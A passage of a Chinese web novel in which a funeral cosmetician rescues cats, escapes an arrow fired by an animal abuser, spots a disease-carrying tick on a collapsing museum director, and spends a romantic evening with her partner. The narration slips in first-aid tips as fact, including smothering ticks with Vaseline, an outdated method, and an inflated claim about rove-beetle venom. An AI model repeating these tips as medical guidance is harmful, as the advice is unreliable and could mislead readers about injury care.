白绯挂了电话,最后在镜子前理了理头发。她今天难得打扮了一下,穿了一件简约的白色深V衬衫和黑色西装裤,看起来又酷又飒。
之前程莉莎给了画展的门票,展期就是今天。
白绯收拾完毕后就开车去了画廊,在一个十字路口等红灯的时候竟然看到地上躺了一只猫咪。
不会是出车祸了吧?
白绯心下一个咯噔,打开双闪后赶紧下车查看。
49. 左零右火,雷公助我
这是一只漂亮的三花,皮毛油光水滑,触手仍然温热。然而无论白绯怎么碰它,猫咪都一动不动,在她的手里瘫软成一滩液体,脑袋倒挂着,甚至连粉红的小舌头都耷拉在嘴巴外。
白绯有些不爽地啧了一声。
很多人总是一时心血来潮就开始饲养宠物,然而却不知道这也是一条小生命,需要主人的爱才能长出血肉。
而当他们发现在欣赏宠物的可爱之外,还要花更多的时间去给毛孩子们擦屎把尿喂食遛弯。而除了这些吃喝拉撒,甚至还可能动不动就生个千把块钱的病,很多人就不耐烦了,直接选择了弃养。
然而这些人工繁育出来的宠物很难在人类社会独立生存,流浪生活让它们不太可能活到寿终正寝。
白绯摁亮手机屏幕看了眼时间。此时正值早高峰,路上车来车往。
白绯打算先把三花送去附近的宠物医院抢救试试,之后再回头去画展也来得及。
她直起身来正准备回车上,手上突然传来一阵剧烈的挣动。还不待她反应过来,刚才还瘫软如烂泥的小猫就蹬开了她的手,四肢打架般用一种乱七八糟的姿势跑进了路边的小巷子。
白绯看着它矫健的身影,满脑袋问号。
这孩子刚才该不会只是睡懵了而已吧?先不说这让人羡慕的睡眠质量,胆儿未免也太肥了点,竟然敢睡在机动车道上,真是不要命了。
左右时间也还早,白绯干脆跟着进了小巷,若是能找到这只贪睡猫,还是把它带去宠物医院瞧瞧。家里已经有了大鹏和小黑,再添只修猫也不错,免得这小傻子下次再睡马路上去。
这条小巷正好在一家私房菜馆的后厨外,狭窄的小路上堆满了垃圾桶,里面都是些厨余垃圾。
有不少流浪猫在这里聚集,它们远远看到白绯过去的身影,立刻谨慎地躲开了。
有警惕心是好事,毕竟这世上有喜欢毛孩子的,自然也有讨厌的。然而很多人根本不明白“不爱也别伤害”这个道理,反而还会特意选择这些弱小的动物来发泄自己的施虐欲。
这种人往往都是潜在的犯罪分子,不选择伤害人类只是迫于法律的威慑以及欺软怕硬的本性而已。
有些人渣甚至还不满足于此,会特意挑选有主的宠物进行伤害。主人对宠物越是疼爱,那么当宠物被伤害的时候所遭受的痛苦就越深刻,这些人渣能感受到的快乐就越大。
一些以他人的痛苦取乐的蛆虫罢了。
白绯借着昏暗的光线扫过那些躲在犄角旮旯里闪着微光的眼睛,确定里面都没有那只漂亮的三花。
去哪儿了这是?
白绯越走越深,在转过一个拐角后,看到了两个蹲在地上嘀嘀咕咕的年轻女孩。
“哎哟这咪怎么回事,我的天啊,它的后颈肉怎么这么松弛!应该还只是一岁的小猫啊,怎么小小年纪就这么老态了?”
“我看它需要做个拉皮手术。就像这样...你看,提拉紧致以后是不是下颌线都清晰了。不过这法令纹也很深啊,这是泪沟吗怎么这么大?”
“小丑咪,你也太丑了吧?还有这脸色,小咪你也有色素暗沉的困扰吗?”
白绯:...37度的嘴怎么能说出这么冰冷的话。
她又往前走了两步,终于看到了被两个女孩围在中间的小猫的庐山真面目。
她忏悔,事实证明她俩说的话不仅没有夸大其词,甚至还可以说十分中肯。这真的是一只看起来皱皱巴巴又一脸苦相的小丑咪,活像个八九十岁的老头子似的。
猫咪浑身的毛发湿哒哒的沾满了泥水,而它的一只脚竟然还被夹在了捕兽夹中,淋漓的鲜血淌了满爪子。
女孩们闻声回头也看到了白绯,赶紧解释道:“你可别误会啊,这夹子不是我们放在这的。”
“我们只是听到有小猫的惨叫声,过来发现它被困住,正想把它救出来来着。”
原来是两个嘴毒但心地善良的女人。
“我也来帮忙吧。”白绯干脆蹲下身帮忙。
三个女人一起用力,很快就掰开了捕兽夹,把小猫咪的前爪救了出来。
“哎呀,伤得可不轻呐,都能看到骨头了。”其中一个染着奶奶灰头的女孩捧着小猫咪血肉模煳的爪子细细看了眼,“我们带它去宠物医院看看,姐,谢谢你帮忙了。”
“没事。”白绯放松了下因为用力而酸痛的手指,把捕兽夹拎在手里道:“等我把它砸烂了再扔,免得不小心再夹到哪个毛孩子。这玩意儿不会莫名其妙出现在这里,是哪个不干人事的渣滓特意放的吧?”
“是啊。”另一名黑长直,身材娇小的女孩拧着细细的眉头,温温柔柔地放狠话:“我俩平时经常来这儿喂流浪猫,最近在这里发现了好几个陷阱,虽然都被我们破坏了,但还是有好几只眼熟的小猫咪不见了,也不知道是不是出事了。这些猪狗不如的东西,连这些小动物都容不下。要是让我抓到了,我非抽他十个大耳光子不可。”
小丑猫窝在奶奶灰怀里细细地咪了一声,和它别致的外貌不同,它的嗓音倒是夹得嗲嗲的,听起来还怪娇滴滴的。
奶奶灰被它叫得心软,轻轻摸了摸它的后颈,对黑长直说:“其实我们刚才进小巷时遇到的那个地中海就挺可疑的。”
“哪个?啊,你是说那个眼袋快有半张脸大,嘴角还有一颗大黑痣那个?”
“对啊。”奶奶灰道:“相由心生,你不觉得他的眼神就很邪气,行迹也鬼鬼祟祟的吗?”
“确实一看就不是什么好人的长相。”黑长直摸着下巴附和道。
白绯刚经历过刘耀祖的事,心中腹诽,其实有时候长得像好人的也不见得是什么好东西。
“对了,你们有看见一只...”白绯正想问问她俩有没有看见刚才那只三花,话还没说完,就感觉脚边擦过一点毛绒绒的触感。
她低头一看,嚯,可不就是刚才那只小笨猫吗?小三花这时也不跑了,翻着肚皮四脚朝天躺在她腿边冲她喵喵叫,眼神妩媚,就像在说:人,快摸我。
“你怎么在这儿啊。快让我看看到底有没有受伤。”白绯哭笑不得地蹲下身想去抱它。
就在这瞬间,她的脖颈边突然掠过气流,随着一声尖锐的金属破空声,一支弓箭擦着她劲部动脉钉入了发霉的砖墙上,尾羽犹在震颤,可见速度之快。
若不是方才白绯正好蹲下身去,此刻她就该被爆头了。
饶是镇定如她也被吓得有些腿软,踉跄着跪倒在地,急声道:“快躲到垃圾桶后面!”
奶奶灰一脸空白,被白绯拉住衣角拖到了垃圾桶后。
白绯躲在桶后小心翼翼地探出身去,就看到一个鬼鬼祟祟的身影正收起弓箭准备逃跑。
“站住!别跑!”白绯还来不及阻止,黑长直已经果断出手掰断了私房菜馆后厨外生锈的围栏扶手,紧跟着拔腿就追了出去。
白绯:林黛玉倒拔垂杨柳啊?这么个娇滴滴的小姑娘哪来这么大的力气!
“别跑啊,快回来!万一他手上还有弓箭...”
然而黑长直早已跑没
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了踪影。
白绯不放心,赶紧起身去追。奶奶灰也吭哧吭哧跟了上来。
她边喘边安慰白绯:“没事的,霜雪有跆拳道3段,一般人轻易伤不了她。”
“那也不能轻敌,空手接白刃怎么地也吃亏啊。”
二人紧赶慢赶,才终于在一个拐角追上了黑长直。
“你跑啊,怎么不跑了。”黑长直杵着手里的破伤风铁栏杆,对前方直愣愣背对他们站着的地中海冷笑:“刚才不是放箭放得挺开心的么,回头啊,直视我,崽种。”
“霜雪,你冷静点。”奶奶灰赶紧拉住黑长直的胳膊,喘着气阻止道。
“放开我,我今天非得好好教训这玩意儿不可。”黑长直怒火中烧,甩开奶奶灰就要上手,“正好我有双相,今天还是去精神病院拿药的,就算把他打个半残也不能拿我怎么样。这帮人渣仗着没有动物保护法天天不干人事,现在还敢瞄着人来了。就让姑奶奶我替天行道...”
“等等,不对劲。”
白绯却再次拦住了黑长直,拧着眉看着眼前直挺挺站着的男人。
前方明明不是死路,男人却既不逃跑也不反击,甚至也不开口说话,只是傻愣愣站在原地。
这里光线昏暗,白绯依稀只能看到他脚下有水波的反光。
她打开手机手电筒照去,等看清后瞬间瞳孔地震。
只见男人正站在一洼积水当中,而在墙角处,断裂的电线一角正好落在积水之中。
他妈的又是私拉电线!
“退后!他触电了!”
白绯几乎是立刻回忆起了穿书前被电流击中的痛苦,龇牙咧嘴地拦着两个姑娘连连后退。
谁知道那摊水洼一直蔓延到何处。
“报警,打急救。”白绯边吩咐奶奶灰,边快速扫视小巷。
这里到处都是积水,木棍也都湿哒哒的,根本没办法使用。只要木棍当中的含水量达到20%,就会导电了。
白绯顺着那根断裂的电线来源看去,发现果然是那家私房菜馆里接出来的。
她果断打开网页找到了店铺电话,待电话接通后立刻道:“快点切断电源,你们后厨拉出来的电线断了,后巷里有人触电了!”
接电话的前台愣了三秒,紧跟着发出尖锐的爆鸣。
三分钟后,直挺挺站着的地中海如同一根软烂的面条般瘫倒在地。
五分钟后,救护车到达,把地中海送去了医院。擦肩而过的时候,白绯看到他身上的电流斑,局部皮肤甚至已经炭化,看来是凶多吉少了。
这人手持弓弩想要伤人,还极有可能已经虐杀不少动物。若是罪行属实,如今发生的一切也算是报应了。
白绯她们和警察交代了情况,之后就各自离开了。
奶奶灰和黑长直准备赶紧带小丑咪去医院,白绯则回去原地找小三花。
若不是小三花,只怕她今天都回不了家了。
也不知是不是缘分来了,小三花竟然没有跑,而是又窝在原地睡得人事不省。
白绯把它抱起来,它也只是睁开眼皮看了看她,就又呼噜噜打起了小呼噜。
“今天真是多亏你了,跟我回家吧,以后天天给你吃小鱼干。”
白绯揣着三花回去了车上,先带它去了宠物医院检查身体,确认不仅没有受伤,甚至很健康。
由于她还要赶去画展,于是就先放三花在宠物医院玩,自己则赶紧开车去了展厅。
而她才刚进展厅,就又遇到了一个熟人。
50. 肌肉孔子
一身银灰色西装的叙白正倚靠在展厅门口抽烟。烟雾笼罩着他冷淡的脸,金丝框眼镜背后的双眼慵懒地眯着,像一只打盹的野兽,颓废又性感。
白绯的脚步顿住,下意识掉头就想走。
怎么这冤家也在。看这架势,别是特意在门口守我呢吧?
然而她刚走了两步,就又转身回返回了展厅。
靠,凭什么我要躲着他,做亏心事的又不是我。
叙白看到她后就直起了身,笑得一脸骚气,勾得边上路过的几个女孩都羞红了脸。
然而他这媚眼却注定要抛给瞎子看了。白绯直接无视了他,自顾自检了票,走进了展厅。
“这位小姐,需要一名免费的向导吗?”带笑的熟悉嗓音从背后响起,是叙白。他掐了烟,单手插兜也跟了上来。
“用不着,您请吧。”白绯毫不客气地冲天翻了个白眼,加快脚步向展厅里走去。
不用回头,她都能感觉到背后的目光如影随形,像蛇一般阴冷又黏腻。
“这是最近风头正盛的新派画家的作品,颇有蒙克遗风,很受追捧。”叙白跟着白绯的脚步停在一副很抽象的画作前,骨节分明的指尖在画上扭曲的人脸上虚虚抚过,笑道:“就像这幅画……是不是很容易让人联想到呐喊?”
白绯在心里腹诽:再跟着我我也呐喊给你看。
她快走两步,又走到一幅风景画前,画上是满池绽放的睡莲。
比起刚才那幅扭曲的画作,还是这幅画更符合普通老百姓的审美。
说人话就是跟照片拍出来似的。
然而叙白却拖长了腔调道:“都说养鱼的人也很适合养花,三天一换水,七天一换鱼。换下来的鱼尸正好可以用来做花肥,这样的土是最有营养的。唔...这名画家也许就是从这里得来的灵感吧?”
白绯:…怎么回事,突然就无法直视这些开得娇艳的花了。
尤其是也不知道是因为叙白的暗示还是确实是画家本人的设计,白绯再看这幅画时,总觉得池塘的水面倒影越看越像一张被泡得浮肿的青白人脸,仿佛这满池开得正艳的睡莲之下的淤泥之中,当真埋着什么了不得的东西似的。
真是搞不懂这些搞艺术的。
白绯扫兴地离开,信马由缰地闲逛,而叙白就一直跟在她身后絮絮叨叨,尽管并没人搭理他。
倒是展厅里有不少人都为这两人驻足,并露出心照不宣的笑,把白绯气得牙痒痒。想着等看到程丽莎的画,就赶紧离开。
她的脚步最后停在了一副肖像画前。画中,卷发的赤裸女人趴卧在鲜艳的玫瑰花丛里,看不清脸,但仅凭那被乌黑发丝遮掩的曼妙曲线,也能看出女人的绝色。
带刺的藤蔓缠绕过她纤细的脖颈,沿着脊椎没入尾椎,蜿蜒而出的血迹就像是死亡在她身上最后开出的花。
耳边的聒噪却在此时停下。一直在旁自顾自讲解的叙白到了这儿,竟反常地突然闭了嘴,只沉默地站在身后意味深长地笑着,看得白绯后背直发毛。
事出反常必有妖,白绯直觉这副画必然有鬼,卯足了劲仔细观察。
结果没找出画中的玄机,反倒越看越觉得画像上的女人有几分熟悉。
不会吧?白绯上前几步,凝神细看,果然发现女人的脖子上有一点熟悉的红痣。
她下意识反手去摸自己的脖颈,不想有一只手却比她很快。
“你干什么?!”白绯捂着自己的脖子后退一步,警惕地看着叙白。
叙白收回自己的手,含笑捻了捻指尖蹭上的鲜血,在白绯如临大敌的目光中将那点绯红含进了嘴里。
“刚才就想问你了,是谁伤了你?”英俊苍白的男人唇齿间犹带着鲜血,仿佛择人欲噬的野兽般定定看着她。
“你有病啊?”白绯真的无语道:“这么爱喝血,你怎么不去吃毛血旺?”
叙白伸出鲜红的舌尖舔净了唇角的残血,扭头看向画作上的女人,嘴角微勾:“认出你自己了吗?”
白绯简直瞳孔地震:“你画的?!”
叙白但笑不语,然而他的神情已经说明了一切。
白绯扭头就走。
上一次在小院进行的烧烤聚会上,叙白曾提起自己手下有一位罹患精神分裂的病人。当时那位病人在画稿中,将心仪的对象做成了一把椅子。
白绯觉得叙白也很有必要去做个心理咨询。
然而她还没走两步,竟又遇到了两个熟人,是西装革履的陈昊和罗峻辉。
几日未见,罗峻辉一扫前段时间的丧气模样,一派意气风发。而更让白绯吃惊的是陈昊,他这次应当也是特意打扮过,浑身都透着一股低调的矜贵。要不是白绯知道他的底细,可能都会把他当成哪来的新贵。
“罗哥,咱俩也是有缘,这么好的赚钱机会,轻易我可不告诉别人。”陈昊哥俩好的搂着罗峻辉的肩膀,超级刻意地露出自己腕间的绿水鬼。
这当然是花罗峻辉的钱买的。事实上,他的房车以及身上的行头,通通都来自于眼前的冤大头。
最近,陈昊和顾怜心内外合作,将罗峻辉哄得团团转,用他的钱包装自己,再给他点小甜头,诱哄他拿出更多的钱来,直到将他的最后一滴油水榨干,再销声匿迹,一走了之。
然而罗峻辉对此却浑然不觉。他只知道自己的投资带来了丰厚的回报,他不过是投进去50万,最后竟然就拿到了10万的回报。那若是他投进去的是500万,甚至更多呢?
因此,他已经在着手将手上所有的资产都变卖成流动现金了,包括自己那辆才提不久就被划花的新车,以及给顾怜心购置的房车。
想到这里,罗峻辉的心软了下来。其实前段时间,他已经和顾怜心产生了隔阂。
他和罗母被关进派出所那段时间,顾怜心对他们的安危不闻不问,而他一回来,就只知道和他要钱。
但这次他开口要变卖这些资产,顾怜心却非常配合,没有二话地立刻同意了。而且,这个女人还会是自己这辈子唯一的孩子的母亲。
因此,罗峻辉对顾怜心颇为内疚,觉得这才是真正爱自己的女人。不像白绯,哼,别看之前一副爱自己入骨的模样,到头来却骗自己离了婚,还刮走了自己不少财产。
不过,罗峻辉的野心还不止于此。这些资产为了快速变现,必然不会卖到高价,但暴富的机会却是过了这村就没这店了。所以他已经联系上了几家银行,甚至还有一些放贷公司,准备贷款去投资。
他并不在乎那些利息,凭陈昊给到的回报率,还用担心将来还不上款吗?
“多亏了你啊,陈昊老弟,过几天我就能再凑到一百万,到时你可别嫌少,一定要带老哥哥我一起发财啊。”
“那是自然。千百万人中就让咱俩在路上撞到一起了,这缘分来了挡都挡不住啊。走着,再陪弟弟逛逛,一会碰上合心意的画作,也买个十幅八幅回去,陶冶陶冶咱们的艺术情操。”陈昊啪啪啪地大力拍着罗峻辉的后背,把人拍了个趔趄。
罗峻辉有些恼,大庭广众之下被人拍得站都站不稳,显得自己有多虚似的。
但陈昊就是发财的路子,罗峻辉眼下还必须巴结着,只能赶紧站直身体,虚伪地笑笑。
他环顾四周,想看看这丢人的一幕有没有被人注意到,不想就直接和拐角的白绯与叙白看了个眼对眼。
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罗峻辉的脸色当场就涨成了猪肝色。他装模作样地掸了掸自己的西装下摆,色厉内荏道:“哟,这不是我们白大小姐吗?不守着你的死人和纸钱,怎么跑这儿来了。你看得懂吗?”
他又偏头看了眼叙白,被他那无懈可击的外表攻击到差点破防,嘲讽道:“原来叙医生这样的精英人士,也爱当接盘侠,拿别人不要的破鞋当宝吗?”
白绯把嘴里的话咽了回去。她亲眼目睹了这场杀猪盘,原本正在犹豫要不要提醒下,现在想想还是算了吧。
这糟心玩意儿,被人当猪仔卖了都是活该。
“我这不是来找生意来了么。罗峻辉,我瞅你印堂发黑,大难将至啊。咱们也算是熟人,你的单子,给你打个对折,再买一送一,不客气。”
罗峻辉被她的话气了个倒仰。
好啊,白绯这不就是诅咒他死吗?他含妈量极高的辱骂差点就脱口而出,但是余光注意到边上正一脸好奇地打量着他们的陈昊后又咕咚一声咽了回去。
“哼,唯女子与小人难养也。”罗峻辉一副世人皆醉我独醒的高傲模样,冲白绯摆摆手,“我不和你计较。只不过叙医生,我劝你别和白家纠缠不清。你看我就是个活生生的例子,和白家在一起时诸事不顺,但现在你再看我。”
他鼻孔朝天地嗤笑一声:“飞升指日可待。”
陈昊自然也从顾怜心处听到过白绯的名字,知道这个可怜的原配,但这却是他头一回亲眼见到白绯,想不到竟是个如此绝色的美人。这罗峻辉,艳福不浅呐~
男人总是吃着碗里看着锅里的,就算是屎都想尝尝咸淡,更何况是如花似玉的大美人。
他当即就清了清嗓子,风度翩翩地伸出手去:“白小姐,幸会幸会。在下陈昊,不知是否有这个荣幸,和你一起参观这个展览?”
白绯看着陈昊这副双面人做派,想到他当初是如何哄骗顾怜心出卖□□为他谋利,就觉得几欲作呕。
啊,她有点想念祝临川了。这一屋子都是些什么牛鬼蛇神啊!
“不劳陈先生费心了。”还不等白绯拒绝,叙白就不容拒绝地走上前来,横插在陈昊与白绯之间,气势之锋利甚至唬得陈昊被色欲熏心的理智都回归了一瞬,“你还是陪着罗先生好好逛逛吧,免得我们影响到他的气运,妨碍他升天呢。”
这下罗峻辉彻底绷不住了。他撸起袖子就想打人,不想却被人打断了。
“叙白!”一名长相斯文,戴着黑框眼镜的中年男子满脸喜色地迎了上来。他双手握住叙白的手大力晃动,“可算把你请来了!”
“周馆长,还有记者在会客室等着呢,想要采访您关于此次的画展。”边上穿着OL套装的秘书焦急地催促道。
原来竟是举办这次画展的馆长。
“好好好,你和他们说声,我马上就来。”周馆长长了一副文人的脸,脖子以下却是另一个极端,比身为体育生的陈昊还大了好几个SIZE,活脱脱一个双开门冰箱。他还穿着一件无袖衫,露在外面的胳膊比白绯的大腿都粗。
白绯怀疑他要是现在展个背,能把展厅的灯都遮个严严实实,一秒变天黑。
周馆长却欣慰地看着叙白,热络道:“等访谈结束,我们可得好好聊聊。自从我们大学哲学系毕业后有多少年没见了,你小子可不许跑啊。”
没想到还是个肌肉孔子。
“好。”叙白笑着应了声。但片刻后他又眉头微皱,问道:“老周,你是不是发烧了,怎么体温这么高?”
白绯也觉得这个肌肉艺术家有点奇怪。
周馆长的后脖颈处有大片的红斑,而这片皮肤明显瘙痒难耐,以至于他一直在用手不停地抓挠。
51. 蚂蚁咬死大象
“是啊。”周馆长活动了下僵硬的肩膀,疑惑地嘀咕道,“自从上周从内蒙古旅游回来就一直莫名其妙低烧,头疼、肌肉酸痛,铁都撸不动了。但是昨天去医院做了一堆检查,检查单都有厚厚一沓,也没查出到底是什么毛病。”
“周馆长,你好了没有!”秘书等不及了,在不远处扬声催促。
“马上!”周馆长最后拍了拍叙白的肩膀,笑着和二人告别道:“那一会儿见,你和这位小姐好好逛逛。”
他的笑容阳光又开朗,让人忍不住心生好感。
周馆长转身离开,并再次伸手挠了挠后颈。发尾被他的手指撩开,掩藏在其下的一点黑色便终于得见天日。
是痣吗?白绯眯起眼细看,心中疑惑:怎么这么圆润,还凸起得过分,有长得这么立体的痣吗?
然而还不待她琢磨出来这到底是个什么东西,方才还和她们有说有笑的男人就突然像被抽了虾线的虾一般,无声地软倒在地。
“周馆长!!!”正眼巴巴等着的秘书发出一声尖锐的爆鸣,叫得活像刚才那个新派蒙克画家笔下的扭曲人脸。
叙白面色凝重地蹲下身轻轻拍了拍周馆长的脸,对方却毫无反应,显然已经陷入了深度的昏迷。
他当机立断掏出手机,拨打了急救电话。
白绯蹲下身跪在周馆长身侧,鬼使神差地伸手再次撩开了他后脖颈的头发。
不知为什么,她对方才看到的那一点黑色十分的在意。
而就是这一看,让白绯惊得手都抖了,惊呼道:“是蜱虫!周馆长被蜱虫咬了!”
原来后脖颈上那一点黑色哪里是什么痣,分明是一只吸饱了血的蜱虫,腹部鼓涨,口器还深深嵌在惨白的皮肤之中。
再联想到周馆长近期的低热,又是刚从内蒙古旅行回来,所有的证据都指向一个可怕的结论:他很有可能被蜱虫传染了疾病,例如森林脑炎。
救护车来得很快,白绯将自己的发现告诉了随车的医生,医生听完脸色一变,凝重地点了点头。
在穿书前,白绯曾接到过一名客户,是一个年轻的姑娘,就是因为蜱虫叮咬去世。当时的她和闺蜜一起在森林中拍照,应当是躺在草地上时不慎被蜱虫叮咬了。
然而非常凑巧的是,那只蜱虫偏偏咬在她的头皮上,又被长发遮了个严严实实,一直没有被发现。而更加不幸的是,这只蜱虫又偏偏携带了病毒。
从发病到去世,也不过短短一周,一个如花似玉的小姑娘,就此香消玉殒。
另一名客户就比较幸运了,当时家属都已经放弃,找来了白绯所在的殡葬公司,就等人咽下最后一口气了。然而也许是命运眷顾,在给人擦拭身体的时候,家属在他的□□口发现了一个奇怪的黑色物体。家属叫来医生一看,这才确诊了病情的源头。
原来这黑色的物体又是一只蜱虫,估计是客户在野地里方便时叮咬上的,因为部位之隐秘,才一直未被发现。而更幸运的是,蜱虫化验后所携带的病毒的解毒血清,这家医院也正好有。
对症下药,自然药到病除。这名客户在生死关头走了这一遭,表示以后就是拉□□里,也绝对不在野外方便了。
其实并不是所有的蜱虫叮咬都会带来如此严重的后果,主要还是要看这只蜱虫是否携带了病毒。因此,在拔除蜱虫后,医生都会建议保留这只蜱虫,方便后期进行病原体检测。
一般情况下,若是被蜱虫叮咬,千万不能直接硬拔,也不能用打火机烧。因为它的口器是有倒钩的,越是刺激蜱虫,它越往皮肤里钻。
而且生拉硬拽还极有可能导致蜱虫的口器断裂在皮肤之中。正确的处理方式是在蜱虫以及它身体周围涂上一层凡士林让其窒息,或者在它的头部涂抹酒精让它放松,然后再夹住蜱虫的头部垂直拔出。
拔出后还要记得检查下它的口器是否完整,以判断皮肤中是否有残留,之后就可以对皮肤进行消毒了。
万一不幸在后期出现发热、皮疹、头痛以及叮咬部位红肿化脓等情况,那就可以怀疑蜱虫有问题了。但若是在一些蜱传疾病流行的高风险地区,即使没有症状,也还是建议立即就医。
在我国,内蒙古牙克石市林业总医院就是处理蜱传疾病的一把好手,就好像是云南医院处理菌子中毒,四川医院处理肛肠疾病,都是绝对的权威。
小小的昆虫竟能毒死人类,何其讽刺。
除了蜱虫,还有另一种昆虫也很可怕,它的名字叫隐翅虫,是一种和蚂蚁长得非常像的昆虫,具有趋光性,经常会飞到人身上,但并不会咬人。但若是选择拍死它,那后果就不堪设想了。
这是因为隐翅虫体内的毒液比硫酸还要强,若是将它拍死在皮肤上,轻则红肿,重则溃烂。若恰好拍死它的部位是在脸上、眼睑等敏感部位,那就极有可能造成毁容、失明的惨状了。
白绯曾经接待过一名客户,幼时就是因为这小小的隐翅虫而毁容,一辈子活在了痛苦和遗憾中。
死后,按照他的遗愿,白绯替他做了修复化妆,让他能像个正常人一般风光地离开。
遗体告别时,家属看到他完好的面貌后都十分动容,还特意给白绯包了个大红包。
白绯看着眼前的救护车风风火火地离开。她的发现替医生的治疗节省了不少时间,想来应该还是有很大希望治愈的。
今天这一天真的可谓一波未平一波又起,白绯只觉得十分心累。
罗峻辉却一边啧啧称奇,一边拿手机拍视频,嘴里还嘀咕着:“这么精彩的新闻,赶紧发给雪萍,她那个网红男友正好可以拿这个话题起一波流量...”
眼看着一个大活人在面前受伤倒下,罗峻辉眼里却没有任何怜悯与同情,只有戏谑。
白绯实在不想和他再多做纠缠,转身离开了。
好在这次很顺利,她很快就找到了程莉莎的画作,夹杂在一堆阴暗扭曲的作品中可谓十分积极阳光向上,色调温暖温柔,就像作画者本人一样。
白绯拿起手机拍了张照片发给程莉莎,又诚恳地夸奖了她几句,把小姑娘逗得发了一串害羞的表情包。
完成任务后终于可以离开的白绯几乎是脚底抹油,没有再给叙白任何搭话的机会,关门上锁踩油门一气呵成,只留给他一地喷发的汽车尾气。
等白绯回到公司时天色已黑,小楼里静悄悄的。
她把一脸好奇的三花放下,大鹏和小黑立刻就迎了上来。它俩对着漂亮的猫届大美女一番嗅闻后很快就接纳了它,亲亲热热地迎进了自家的豪华别墅。
白绯揉着酸痛的肩颈上楼,才走了一半,就听到楼上吱呀一声轻响。
“回来了?”熟悉的白茶花香气从头顶笼罩下来,是她爱用的沐浴露香气。
白绯抬头,就看见祝临川站在台阶上等她,身上穿着浴袍,蜜色的胸膛暴露在敞开的领口外,犹带着湿润的水汽。
他就这么冲白绯伸出了手,温柔,安定。
白绯看着那摊开的掌心,忽然觉得心中委屈极了。
她把自己的手重重放在祝临川掌中,借对方的力将自己整个人都埋进了他怀里。
“怎么了?”祝临川有些受宠若惊地揽住
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她的后腰,由着白绯像吸猫似的在自己颈间磨蹭。
“累了,也想你了。”白绯吸了吸鼻子,放松身体将自己挂在了人身上,彻底摆烂,“不想走了,你抱我。”
祝临川宠溺地笑笑,竟也当真将她打横抱了起来。他抱得很稳,仿佛怀里的只是一片羽毛。
“躺着休息会儿,我去给你放水。”
浴室里传来水流声和人走动的脚步声,白绯在这再寻常不过的声音中却终于找回了平静。
难怪都说老婆孩子热炕头,在外疲惫了一天回来,家里有个八块腹肌的美男子温柔小意殷勤伺候,想想都美。
祝临川很快就又回来,抱起白绯将她轻柔地放进了浴缸里。水温正合适,是能让疲惫的人身体得到放松的最舒服的温度。
白绯捞起水面上漂浮的玫瑰花瓣,惊讶道:“哪来的干花?”
祝临川没有说话,耳根却有些红。
“哦~”白绯突然明白过来。一个大男人,买这些花瓣总不能是给自己泡澡的吧?
她揶揄地伸出手指勾住祝临川浴袍的系带,微微用力,就将人勾得跪倒在浴缸旁。
浴袍的前襟彻底散开,露出上面挂着的吊坠。白绯挑逗地摸了摸那片不住起伏的胸膛,一边嘴角勾起,坏笑道:“就这么喜欢这个吊坠?”
祝临川嘴角微抿,并不说话。下一刻,白绯的眼睛就被带着热度的蒸汽眼罩覆盖,随之而来的还有洋白菊的香气。
“不是说累了么。”黑暗中,祝临川温和的声音响起。
有一双温热的大掌轻轻扶住了她的肩膀,让她向后靠在了浴缸壁上。黑暗中,白绯听见玻璃瓶和陶瓷碰撞的轻响。
“和花瓣一起还买了些精油,说对皮肤很好,香味也好闻。”
一直想让你试试。
祝临川咽下这句话,伸手按上白绯的肩胛。
恰到好处的力道让白绯的脊椎泛起细密的酥麻,她放松身体,享受殷勤的服务。水波随着按压荡开涟漪,黑暗中,只能听到祝临川的呼吸声。
手指像琵琶弹奏般沿着肩胛一路向下,一直按摩到纤长的指尖,最后落下一个轻吻。
白绯被他灼热的呼吸烫得缩了缩指尖,有一种难言的痒意如电流般蹿上来,让她很想用力抓挠些什么东西,例如祝临川紧实又饱满的后背肌肉。
黑暗中,一切的感官都被放大。
那双掌控快感的手又来到了白绯的脚踝上,顺着白皙圆润的小腿肚一路往上,最后停留在不自觉绷紧的大腿根。
白绯被蒙着眼睛,露在下面的红唇微张,卷发湿漉漉地贴在如天鹅般的颈项上,更多的则如海藻般漂浮在水面,和玫瑰花瓣纠缠。
“这里怎么受伤了。”
祝临川带着水汽的手指抚摸上脖颈上那道擦伤,轻微的疼痛感终于击垮了被挑逗多时的理智。
“我去给你拿...”
祝临川直起身想去拿药,却被白绯从身后扯住了浴袍下摆。染着豆蔻的指甲轻轻刮擦过他的大腿内侧,肌肉绷紧出流畅又暧昧的线条。
“好疼。”白绯屈膝跪在浴缸中,探出水面的赤裸身体被玫瑰花瓣和湿漉漉的黑发缠绕,红、黑、白,交织成让人血脉偾张的画面。
她双眼依然被蒙着,明明是再娇弱不过的模样,红唇开阖间却吐出如精怪般的低语:“你不来舔舔我的伤口吗?”
分不清究竟是谁的呼吸变得急促而粗重,金色的吊坠从脖子上被取下,绑住了在大腿上作乱的纤纤十指。
浓重的水汽之中,只能听到更激烈的水花声。
52. 真正的鸡飞狗跳
白绯盘腿坐在床上,面前是一份精致摆盘的金枪鱼沙拉,烤得焦香的法棍,鲜榨的橙汁,玻璃杯里还漂浮着圆润的冰块。
刚才她手软脚软地被人从浴缸里捞出来,懒得连根手指都不想动。
都说只有累死的牛,没有耕坏的地。结果祝临川忙活了大半宿,竟还能用这么短的时间准备出丰盛的晚餐,实在是贤惠得连白绯都要比个大拇指。
勤劳的田螺小伙此刻还坐在她身后充当了靠枕,手里拿着一块干发巾,温柔缱绻地替她擦拭湿润的发尾。
白绯觉得自己这根本就是皇帝待遇,而妖妃还犹嫌不足,体贴地问道:“都是我亲手做的,不知道合不合你胃口。不喜欢的话,我再给你做点其他的?”
“歇着吧你!”白绯哭笑不得地一掌拍在身后人结实的大腿上:“还不累?”
祝临川依言坐了回去,嘴里却还是忍不住澄清道:“不累,我的体力很好的。”
事关男人的尊严,不行也得行,更何况自己明明还能更行。祝临川就像所有小说男主一样,若不是顾忌着白绯的身体,他可以一直do到她求饶为止。
“行啦行啦,知道你厉害了。”白绯侧身掐住他的下巴,撅着嘴响亮地啵了他一口,开始享用自己的爱心晚餐。
祝临川心满意足地看着她一口口吃掉自己亲手烹饪的食物,又伸出手指摸了摸白绯脖颈上被妥善处理过的擦伤,到底还是追问道:“你还没告诉我,这是怎么伤的?”
“嗐,别提了。”白绯叹了一口气,开始和祝临川吐槽今天的遭遇。当她说到那差点让她爆头的箭矢时,祝临川的脸色已经阴沉得可怕了。
“不过也算报应,那虐猫的人渣大概率已经无了,担架抬走时我都看见他身上的电流斑了。”
电流斑是电击致死的特异性标志,形似火山口,颜色多为灰白色,质地坚硬,在低电压触电时更容易形成。
